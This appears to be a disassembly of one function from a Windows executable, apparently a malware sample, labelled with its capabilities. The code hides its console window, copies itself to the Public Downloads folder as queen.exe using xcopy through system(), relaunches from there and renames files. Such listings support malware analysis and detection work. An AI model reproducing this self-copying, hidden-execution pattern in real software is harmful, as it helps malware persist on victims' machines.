Function at 0x140003a50
Capabilities:
Execute command
Move file
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0x100
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x37], rax
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor r15d, r15d
mov esi, r15d
lea r12, str.queen
mov rax, r12
nop dword [rax]
inc esi
lea rax, [rax + 1]
cmp byte [rax], r15b
jne 0x140003ab0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___argv]
mov rcx, qword [rax]
mov r14, qword [rcx]
mov ebx, r15d
mov edi, r15d
cmp byte [r14], r15b
je 0x140003ae0
mov rax, r14
inc ebx
lea rax, [rax + 1]
cmp byte [rax], dil
jne 0x140003ad5
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0x5c
je 0x140003afb
nop dword [rax + rax]
dec ebx
lea rcx, [rcx - 1]
cmp byte [rcx], 0x5c
jne 0x140003af0
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0x2e
je 0x140003b1d
nop dword [rax + rax]
inc edi
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0x2e
jne 0x140003b10
cmp esi, edi
jne 0x140003f6c
movsxd rcx, edi
inc rcx
call fcn.14000765c
mov r10, rax
movsxd r9, edi
mov byte [rax + r9], r15b
sub ebx, edi
movsxd rax, ebx
movzx edx, byte [r14 + rax]
cmp dl, 0x2e
je 0x140003b6f
mov rcx, r10
sub rax, r10
add rax, r14
nop dword [rax]
nop word [rax + rax]
mov byte [rcx], dl
lea rcx, [rcx + 1]
movzx edx, byte [rax + rcx]
cmp dl, 0x2e
jne 0x140003b60
mov rdx, r15
test edi, edi
jle 0x140003b99
mov r8, r10
sub r8, r12
nop dword [rax]
lea rcx, [rdx + r12]
movzx eax, byte [rcx]
cmp byte [r8 + rcx], al
jne 0x140003f6c
inc rdx
cmp rdx, r9
jl 0x140003b80
mov rcx, r10
call fcn.140007610
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___argv]
mov rcx, qword [rax]
mov rdx, qword [rcx]
xorps xmm0, xmm0
movups xmmword [rbp - 0x59], xmm0
mov qword [rbp - 0x49], r15
mov qword [rbp - 0x41], r15
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r15b
jne 0x140003bc3
lea rcx, [rbp - 0x59]
call fcn.140005d80
lea rcx, [rbp - 0x59]
mov rsi, qword [rbp - 0x41]
cmp rsi, 0xf
seta r14b
mov rbx, qword [rbp - 0x59]
cmova rcx, rbx
mov r8, qword [rbp - 0x49]
cmp r8, 0x23
jne 0x140003c0c
lea rdx, str.C:UsersPublicDownloadsqueen.exe
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140003c0c
xor dil, dil
jmp 0x140003c0f
mov dil, 1
test r14b, r14b
je 0x140003c45
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140003c3d
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003f31
mov rcx, rbx
call fcn.140007610
test dil, dil
je 0x140003ce5
lea rdx, str.xcopy__
lea rcx, [rbp - 0x59]
call fcn.140004ec0
nop
lea rdx, str.___C:UsersPublicDownloads_
lea rcx, [rbp - 9]
call fcn.140004ec0
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___argv]
mov rdx, qword [rax]
mov rdx, qword [rdx]
lea rcx, [rbp - 0x79]
call fcn.140004ec0
nop
mov r8, rax
lea rdx, [rbp - 0x59]
lea rcx, [rsp + 0x20]
call fcn.140005340
nop
lea r8, [rbp - 9]
mov rdx, rax
lea rcx, [rbp + 0x17]
call fcn.140005460
nop
lea rcx, [rsp + 0x20]
call fcn.140004e60
nop
lea rcx, [rbp - 0x79]
call fcn.140004e60
lea rcx, [rbp + 0x17]
call fcn.140004e50
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:UsersPublicDownloadsqueen.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
xorps xmm0, xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x21], xmm1
mov qword [rbp - 0x11], r15
movdqu xmmword [rbp - 0x39], xmm1
mov qword [rbp - 0x29], r15
movups xmmword [rbp - 0x59], xmm0
mov qword [rbp - 0x49], r15
mov qword [rbp - 0x41], r15
mov r8d, 3
lea rdx, [0x140009804]
lea rcx, [rbp - 0x59]
call fcn.140005d80
nop
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x21]
call fcn.140002fa0
nop
mov rdx, qword [rbp - 0x41]
cmp rdx, 0xf
jbe 0x140003d6c
inc rdx
mov rcx, qword [rbp - 0x59]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d67
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003d67
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007610
mov edi, r15d
mov rax, qword [rbp - 0x19]
mov rdx, qword [rbp - 0x21]
sub rax, rdx
sar rax, 5
test rax, rax
je 0x140003dc0
mov rbx, r15
nop word [rax + rax]
lea rcx, [rbx + rdx]
cmp qword [rcx + 0x18], 0xf
jbe 0x140003d9e
mov rcx, qword [rcx]
call fcn.140003730
inc edi
add rbx, 0x20
mov rcx, qword [rbp - 0x19]
mov rdx, qword [rbp - 0x21]
sub rcx, rdx
sar rcx, 5
movsxd rax, edi
cmp rax, rcx
jb 0x140003d90
xorps xmm0, xmm0
movups xmmword [rbp - 0x59], xmm0
mov qword [rbp - 0x49], r15
mov qword [rbp - 0x41], r15
mov r8d, 3
lea rdx, [0x14000980c]
lea rcx, [rbp - 0x59]
call fcn.140005d80
nop
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x39]
call fcn.140002fa0
nop
mov rdx, qword [rbp - 0x41]
cmp rdx, 0xf
jbe 0x140003e32
inc rdx
mov rcx, qword [rbp - 0x59]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e2d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003e2d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007610
mov edi, r15d
mov rax, qword [rbp - 0x31]
mov rdx, qword [rbp - 0x39]
sub rax, rdx
sar rax, 5
test rax, rax
je 0x140003e80
mov rbx, r15
nop dword [rax]
lea rcx, [rbx + rdx]
cmp qword [rcx + 0x18], 0xf
jbe 0x140003e5e
mov rcx, qword [rcx]
call fcn.140003730
inc edi
add rbx, 0x20
mov rcx, qword [rbp - 0x31]
mov rdx, qword [rbp - 0x39]
sub rcx, rdx
sar rcx, 5
movsxd rax, edi
cmp rax, rcx
jb 0x140003e50
lea rdx, [0x140009810]
lea rcx, str.queen.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
nop
mov rcx, qword [rbp - 0x39]
test rcx, rcx
je 0x140003eef
mov rdx, qword [rbp - 0x31]
call fcn.140005e80
mov rdx, qword [rbp - 0x29]
mov rcx, qword [rbp - 0x39]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003ede
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003ede
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007610
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x39], xmm0
mov qword [rbp - 0x29], r15
mov rcx, qword [rbp - 0x21]
test rcx, rcx
je 0x140003f3d
mov rdx, qword [rbp - 0x19]
call fcn.140005e80
mov rdx, qword [rbp - 0x11]
mov rcx, qword [rbp - 0x21]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003f38
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003f38
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007610
xor eax, eax
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.1400075f0
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3